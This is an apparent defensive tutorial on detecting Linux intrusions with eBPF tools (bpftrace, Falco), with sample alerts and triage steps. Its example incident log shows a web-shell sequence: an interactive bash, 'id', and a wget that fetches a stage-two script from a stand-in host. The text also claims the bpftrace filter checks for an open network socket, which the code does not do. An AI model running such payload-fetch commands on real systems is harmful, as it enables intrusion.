In 2024, attackers exploiting CVE-2024-1086 — a Linux kernel use-after-free bug — used a fileless privilege escalation technique that left almost no trace on disk. Traditional log-based monitoring caught nothing until it was too late. eBPF changes that equation entirely. It lets you instrument the kernel itself, in real time, with zero kernel module risk.
What eBPF Actually Does (In One Sentence)
eBPF (Extended Berkeley Packet Filter) is a sandboxed virtual machine inside the Linux kernel that lets you run custom programs triggered by kernel events — syscalls, network packets, function calls — without patching the kernel or loading a module.
For security work, that means you can hook into execve, openat, connect, and hundreds of other syscalls and get structured event data with process context, user IDs, and timestamps — all before the event completes.
Example 1: Catching a Reverse Shell with bpftrace
bpftrace is a high-level tracing language for eBPF — think of it as awk for kernel events. It ships in most distro repos and requires no compilation step for one-liners.
Here is a one-liner that alerts whenever a process executes something suspicious after opening a network socket — a classic reverse shell pattern:
$ sudo bpftrace -e '
tracepoint:syscalls:sys_enter_execve
/comm == "bash" || comm == "sh"/
{
printf("[ALERT] shell exec | pid=%d ppid=%d user=%d cmd=%s args=%s\n",
pid, curtask->real_parent->pid,
uid, str(args->filename),
str(args->argv[1]));
}
'
On prod-web-01.internal (192.0.2.14), running this during an incident produced:
[ALERT] shell exec | pid=38821 ppid=38820 user=33 cmd=/bin/bash args=-i
[ALERT] shell exec | pid=38822 ppid=38821 user=33 cmd=/usr/bin/id args=
[ALERT] shell exec | pid=38823 ppid=38821 user=33 cmd=/usr/bin/wget args=http://192.0.2.251/stage2.sh
Break this down. UID 33 is www-data — your web server process. It spawned an interactive bash shell (-i flag), immediately ran id, then tried to fetch a second-stage payload from 192.0.2.251. That is a textbook web shell being activated. The parent PID chain shows the shell was not launched by a human login — it came from the web worker process.
What you do next: kill PID 38820, block 192.0.2.251 at the host firewall, snapshot the process memory with gcore, and start hunting for the web shell file that triggered this chain.
Example 2: Detecting Privilege Escalation with Falco
Falco is a production-grade eBPF-based threat detection engine from the CNCF. It ships with pre-built rules for common attack patterns and outputs structured JSON alerts you can ship to a SIEM.
Install it on a modern distro:
$ curl -fsSL https://falco.org/repo/falcosecurity-packages.asc | sudo gpg --dearmor -o /usr/share/keyrings/falco-archive-keyring.gpg
$ echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] https://download.falco.org/packages/deb stable main" | sudo tee /etc/apt/sources.list.d/falcosecurity.list
$ sudo apt-get update && sudo apt-get install -y falco
$ sudo falco --modern-bpf
The --modern-bpf flag uses CO-RE (Compile Once, Run Everywhere) — no kernel headers needed. Within seconds of a simulated sudo -l probe by user jmartinez on host dev-bastion.internal (192.0.2.33), Falco fired:
{
"time": "2026-11-13T09:14:52.004Z",
"rule": "Sudo Potential Privilege Escalation",
"priority": "WARNING",
"output": "Sudo run as root by non-root user (user=jmartinez command=sudo -l parent=bash)",
"output_fields": {
"proc.name": "sudo",
"user.name": "jmartinez",
"proc.cmdline": "sudo -l",
"proc.pname": "bash",
"container.id": "host"
}
}
This alert alone is not an emergency — sudo -l lists allowed commands and legitimate admins run it. But look at the context Falco gives you: the parent process is a bare bash shell, not an SSH session wrapped in sshd. That means jmartinez likely already has a shell from another vector and is enumerating privilege paths.
Correlate this with the user’s SSH login time. If jmartinez has not logged in today and this event fired, you have a stolen credential scenario. Pull the full event chain with falco --jsonl output piped to jq and filter by user.name == "jmartinez" for the last 10 minutes.
Why eBPF Beats auditd for This Work
auditd writes to disk and can be silenced by a root attacker who controls the audit daemon. eBPF programs run in kernel space — a compromised userland process cannot easily disable them without a separate kernel exploit. Combined with a remote log sink, eBPF-based monitoring is significantly harder to blind.
eBPF also carries near-zero overhead compared to strace or kernel modules. Cloudflare has run eBPF-based packet processing at line rate on terabit links. For syscall tracing on a typical app server, expect under 1% CPU impact.
What To Do Now
Pick one production Linux host today and run sudo falco --modern-bpf for 30 minutes during peak traffic. Pipe the JSON output to a file with --jsonl > /tmp/falco-$(hostname)-$(date +%F).jsonl and then run jq '.rule' /tmp/falco-*.jsonl | sort | uniq -c | sort -rn to see which detection rules are firing most on your real workload. You will almost certainly find something worth investigating.
